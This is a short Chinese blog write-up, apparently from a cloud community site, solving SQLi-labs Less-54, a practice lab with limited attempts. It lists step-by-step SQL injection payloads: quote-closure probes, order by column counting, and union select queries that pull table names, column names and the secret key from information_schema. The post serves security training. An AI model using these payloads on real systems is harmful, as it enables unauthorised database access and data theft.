SQL注入 Less54(限制次数的SQL注入+union注入)
【摘要】 限制次数的SQL注入每次reset,数据库的表名、字段名和数据都会发生改变?id=1?id=1'发现没有报错信息?id=1"回显正常,直接排查双引号开头的闭合方式?id=1'--+?id=1')--+?id=1'))--+单引号回显正常,所以是单引号闭合?id=1' order by 3--+ 回显正常?id=1' order by 4--+ 回显错误所以有三列?id=-1' union s...
限制次数的SQL注入
每次reset,数据库的表名、字段名和数据都会发生改变
?id=1
?id=1'
发现没有报错信息
?id=1"
回显正常,直接排查双引号开头的闭合方式
?id=1'--+
?id=1')--+
?id=1'))--+
单引号回显正常,所以是单引号闭合
?id=1' order by 3--+
回显正常
?id=1' order by 4--+
回显错误
所以有三列
?id=-1' union select 1,version(),database()--+
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="challenges" and table_name="470aojlrx1")--+
?id=-1' union select 1,2,(select group_concat(id,sessid,secret_KJU8,tryy) from 470aojlrx1)--+
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)